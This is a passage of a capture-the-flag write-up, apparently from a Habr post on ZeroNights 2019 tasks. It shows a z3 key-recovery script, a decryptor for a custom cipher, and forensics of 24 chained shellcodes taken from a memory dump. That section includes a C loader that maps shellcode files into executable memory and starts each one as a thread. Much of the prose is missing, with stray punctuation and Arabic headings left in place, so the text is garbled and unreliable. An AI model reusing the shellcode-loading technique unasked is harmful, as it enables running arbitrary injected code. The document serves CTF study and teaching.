 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

الحل:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5؟؟Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7؟؟Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9؟؟Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10؟؟Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19؟؟Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


بعض الإحصاءات


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/ar472416/


All Articles